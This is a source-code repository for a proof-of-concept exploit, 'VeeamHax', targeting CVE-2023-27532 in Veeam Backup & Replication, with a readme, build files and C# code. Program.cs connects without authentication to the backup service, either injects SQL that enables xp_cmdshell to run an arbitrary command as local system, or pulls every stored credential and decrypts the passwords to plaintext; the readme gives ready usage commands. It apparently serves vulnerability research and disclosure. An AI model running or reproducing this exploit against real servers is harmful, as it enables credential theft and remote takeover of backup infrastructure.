├── .gitignore ├── VeeamHax1.png ├── VeeamHax2.png ├── VeeamHax3.png ├── VeeamHax_TemporaryKey.pfx ├── App.config ├── VeeamHax.sln ├── Readme.md ├── Properties ├── AssemblyInfo.cs └── app.manifest ├── VeeamHax.csproj └── Program.cs /.gitignore: -------------------------------------------------------------------------------- 1 | .vs/ 2 | bin/ 3 | obj/ 4 | *.csproj.user -------------------------------------------------------------------------------- /VeeamHax1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sfewer-r7/CVE-2023-27532/HEAD/VeeamHax1.png -------------------------------------------------------------------------------- /VeeamHax2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sfewer-r7/CVE-2023-27532/HEAD/VeeamHax2.png -------------------------------------------------------------------------------- /VeeamHax3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sfewer-r7/CVE-2023-27532/HEAD/VeeamHax3.png -------------------------------------------------------------------------------- /VeeamHax_TemporaryKey.pfx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sfewer-r7/CVE-2023-27532/HEAD/VeeamHax_TemporaryKey.pfx -------------------------------------------------------------------------------- /App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /VeeamHax.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.5.33502.453 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "VeeamHax", "VeeamHax.csproj", "{A96C7C34-5791-43CF-9F8B-8EF5B3FB6EBA}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {A96C7C34-5791-43CF-9F8B-8EF5B3FB6EBA}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {A96C7C34-5791-43CF-9F8B-8EF5B3FB6EBA}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {A96C7C34-5791-43CF-9F8B-8EF5B3FB6EBA}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {A96C7C34-5791-43CF-9F8B-8EF5B3FB6EBA}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {0C8D0B0D-BCFA-4045-9B4A-10D2C38AAA46} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /Readme.md: -------------------------------------------------------------------------------- 1 | # CVE-2023-27532 2 | 3 | Proof of Concept code to exploit CVE-2023-27532 and either leak plaintext credentials or perform remote command execution. 4 | 5 | ## Overview 6 | 7 | For a detailed analysis of the vulnerability and exploitation please read the Rapid7 [AttackerKB Analysis](https://attackerkb.com/topics/ALUsuJioE5/cve-2023-27532/rapid7-analysis). 8 | 9 | ## Building 10 | 11 | Open in Visual Studio. You will need to either add or update the references to `Veeam.Backup.Common.dll`, `Veeam.Backup.Interaction.MountService.dll`, and `Veeam.Backup.Model.dll`. To make things easier, install Veeam Backup & Replication on the development machine, although this is not a hard requirement. 12 | 13 | ## Usage 14 | 15 | Leak the plaintext credentials from the remote server. 16 | 17 | ``` 18 | > VeeamHax.exe --target 192.168.0.100 19 | ``` 20 | 21 | ![VeeamHax1](VeeamHax1.png) 22 | 23 | Run an arbitrary command with local system privileges on the remote server. 24 | 25 | ``` 26 | > VeeamHax.exe --target 192.168.0.100 --cmd calc.exe 27 | ``` 28 | 29 | ![VeeamHax2](VeeamHax2.png) 30 | 31 | ![VeeamHax3](VeeamHax3.png) 32 | 33 | ## Credits 34 | 35 | Previous research into this vulnerability was performed by: 36 | 37 | * [CODE WHITE GmbH](https://twitter.com/codewhitesec/status/1633948476353519616) 38 | * [Huntress](https://www.huntress.com/blog/veeam-backup-replication-cve-2023-27532-response) 39 | * [Y4er](https://y4er.com/posts/cve-2023-27532-veeam-backup-replication-leaked-credentials/) 40 | -------------------------------------------------------------------------------- /Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("VeeamHax")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("")] 13 | [assembly: AssemblyCopyright("")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("a96c7c34-5791-43cf-9f8b-8ef5b3fb6eba")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /Properties/app.manifest: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 50 | 58 | 59 | 73 | -------------------------------------------------------------------------------- /VeeamHax.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {A96C7C34-5791-43CF-9F8B-8EF5B3FB6EBA} 8 | Exe 9 | VeeamHax 10 | VeeamHax 11 | v4.8 12 | 512 13 | true 14 | true 15 | false 16 | 17 | publish\ 18 | true 19 | Disk 20 | false 21 | Foreground 22 | 7 23 | Days 24 | false 25 | false 26 | true 27 | 1 28 | 1.0.0.%2a 29 | false 30 | true 31 | true 32 | 33 | 34 | x64 35 | true 36 | full 37 | false 38 | bin\Debug\ 39 | DEBUG;TRACE 40 | prompt 41 | 4 42 | 43 | 44 | AnyCPU 45 | pdbonly 46 | true 47 | bin\Release\ 48 | TRACE 49 | prompt 50 | 4 51 | 52 | 53 | VeeamHax.Program 54 | 11.0 55 | 56 | 57 | CB1020AB3264CD502FC01A4F8AE9CDED3FC49646 58 | 59 | 60 | VeeamHax_TemporaryKey.pfx 61 | 62 | 63 | true 64 | 65 | 66 | LocalIntranet 67 | 68 | 69 | Properties\app.manifest 70 | 71 | 72 | true 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | False 89 | C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Common.dll 90 | 91 | 92 | C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Interaction.MountService.dll 93 | 94 | 95 | False 96 | C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Model.dll 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | False 111 | Microsoft .NET Framework 4.7.2 %28x86 and x64%29 112 | true 113 | 114 | 115 | False 116 | .NET Framework 3.5 SP1 117 | false 118 | 119 | 120 | 121 | -------------------------------------------------------------------------------- /Program.cs: -------------------------------------------------------------------------------- 1 | // Proof of Concept code to exploit CVE-2023-27532 and either leak plaintext credentials or perform remote command execution. 2 | // For a detailed analysis of the vulnerability and exploitation please read the Rapid7 AttackerKB Analysis: https://attackerkb.com/topics/ALUsuJioE5/cve-2023-27532/rapid7-analysis 3 | using System; 4 | using System.Collections.Generic; 5 | using System.IO; 6 | using System.Runtime.Serialization.Formatters.Binary; 7 | using System.Security.Cryptography; 8 | using System.ServiceModel; 9 | using System.ServiceModel.Security; 10 | using System.Text; 11 | using Veeam.Backup.Core; 12 | using Veeam.Backup.Interaction.MountService; 13 | using Veeam.Backup.Model; 14 | 15 | namespace VeeamHax 16 | { 17 | internal class Program 18 | { 19 | static void Main(string[] args) 20 | { 21 | string host = "127.0.0.1"; 22 | int port = 9401; 23 | bool verbose = false; 24 | string cmd = null; 25 | 26 | for (int i = 0; i < args.Length; i++) 27 | { 28 | if (args[i] == "--target" && i + 1 < args.Length) 29 | host = args[i + 1]; 30 | else if (args[i] == "--port" && i + 1 < args.Length) 31 | port = Int32.Parse(args[i + 1]); 32 | else if (args[i] == "--verbose") 33 | verbose = true; 34 | else if (args[i] == "--cmd" && i + 1 < args.Length) 35 | cmd = args[i + 1]; 36 | else if (args[i] == "--help" || args[i] == "-h" || args[i] == "/?") 37 | { 38 | Console.WriteLine("Usage: VeeamHax.exe [--verbose] --target 192.168.0.1 --port 9401 [--cmd \"c:\\windows\\notepad.exe\"]"); 39 | return; 40 | } 41 | } 42 | 43 | Console.WriteLine("Targeting {0}:{1}", host, port); 44 | 45 | NetTcpBinding binding = new NetTcpBinding(); 46 | 47 | NetTcpSecurity netTcpSecurity = new NetTcpSecurity(); 48 | 49 | netTcpSecurity.Mode = SecurityMode.Transport; 50 | 51 | TcpTransportSecurity tcpTransportSecurity = new TcpTransportSecurity(); 52 | 53 | tcpTransportSecurity.ClientCredentialType = TcpClientCredentialType.None; 54 | 55 | netTcpSecurity.Transport = tcpTransportSecurity; 56 | 57 | binding.Security = netTcpSecurity; 58 | 59 | binding.Name = "foo"; 60 | 61 | Uri uri = new Uri(String.Format("net.tcp://{0}:{1}/", host, port)); 62 | 63 | EndpointAddress endpoint = new EndpointAddress(uri, EndpointIdentity.CreateDnsIdentity("Veeam Backup Server Certificate")); 64 | 65 | ChannelFactory channelFactory = new ChannelFactory(binding, endpoint); 66 | 67 | X509ServiceCertificateAuthentication x509ServiceCertificateAuthentication = new X509ServiceCertificateAuthentication(); 68 | 69 | x509ServiceCertificateAuthentication.CertificateValidationMode = X509CertificateValidationMode.None; 70 | 71 | channelFactory.Credentials.ServiceCertificate.SslCertificateAuthentication = x509ServiceCertificateAuthentication; 72 | 73 | IRemoteInvokeService channel = channelFactory.CreateChannel(endpoint); 74 | 75 | if (cmd != null) 76 | { 77 | // CommandType 1 == Text 78 | 79 | string spec = String.Format( 80 | """ 81 | 82 | 83 | EXEC sp_configure 'show advanced options', 1; EXEC sp_configure reconfigure; EXEC sp_configure 'xp_cmdshell', 1; EXEC sp_configure reconfigure; EXEC xp_cmdshell '{1}'; 84 | 1 85 | 86 | 87 | """, 88 | Guid.NewGuid().ToString(), 89 | cmd 90 | ); 91 | 92 | channel.GetDataTable(ERemoteInvokeScope.DatabaseAccessor, ERemoteInvokeMethod.GetDataTable, spec); 93 | } 94 | else 95 | { 96 | MemoryStream stream = new MemoryStream(); 97 | 98 | BinaryFormatter formatter = new BinaryFormatter(); 99 | 100 | formatter.Serialize(stream, true); 101 | 102 | string includeHidden = Convert.ToBase64String(stream.ToArray()); 103 | 104 | string parameters = String.Format( 105 | """ 106 | 107 | 108 | 109 | 110 | 111 | """, 112 | Guid.NewGuid().ToString(), 113 | includeHidden 114 | ); 115 | 116 | string xml_result = channel.Invoke(ERemoteInvokeScope.DatabaseManager, ERemoteInvokeMethod.CredentialsDbScopeGetAllCreds, parameters); 117 | 118 | if (verbose) 119 | { 120 | Console.WriteLine("Dumping raw response:"); 121 | Console.WriteLine(xml_result); 122 | Console.WriteLine(""); 123 | } 124 | 125 | CCommonInvokeRetVal allCreds2 = CCommonInvokeRetVal.Deserialize(xml_result); 126 | 127 | string retVal = allCreds2.GetParamAsString("retVal"); 128 | 129 | List result = CProxyBinaryFormatter.Deserialize>(retVal); 130 | 131 | foreach (CDbCredentialsInfo info in result) 132 | { 133 | byte[] password_raw; 134 | 135 | // password is now 'encrypted' using Crypt32!CryptProtectData from our local machine, which occurred during deserialization above. 136 | // so we can unprotect it here to get back the plaintext. 137 | if (info.Credentials.IsLocalProtect) 138 | password_raw = ProtectedData.Unprotect(Convert.FromBase64String(info.Credentials.EncryptedPassword.Value), (byte[])null, (DataProtectionScope)1); 139 | else 140 | password_raw = ProtectedData.Unprotect(Convert.FromBase64String(info.Credentials.EncryptedPassword.Value), (byte[])null, (DataProtectionScope)0); 141 | 142 | string password = Encoding.UTF8.GetString(password_raw); 143 | 144 | Console.WriteLine("User: {0}\nID: {1}\nPassword: {2}\n", info.Credentials.Name, info.Id, password); 145 | } 146 | } 147 | } 148 | } 149 | } 150 | --------------------------------------------------------------------------------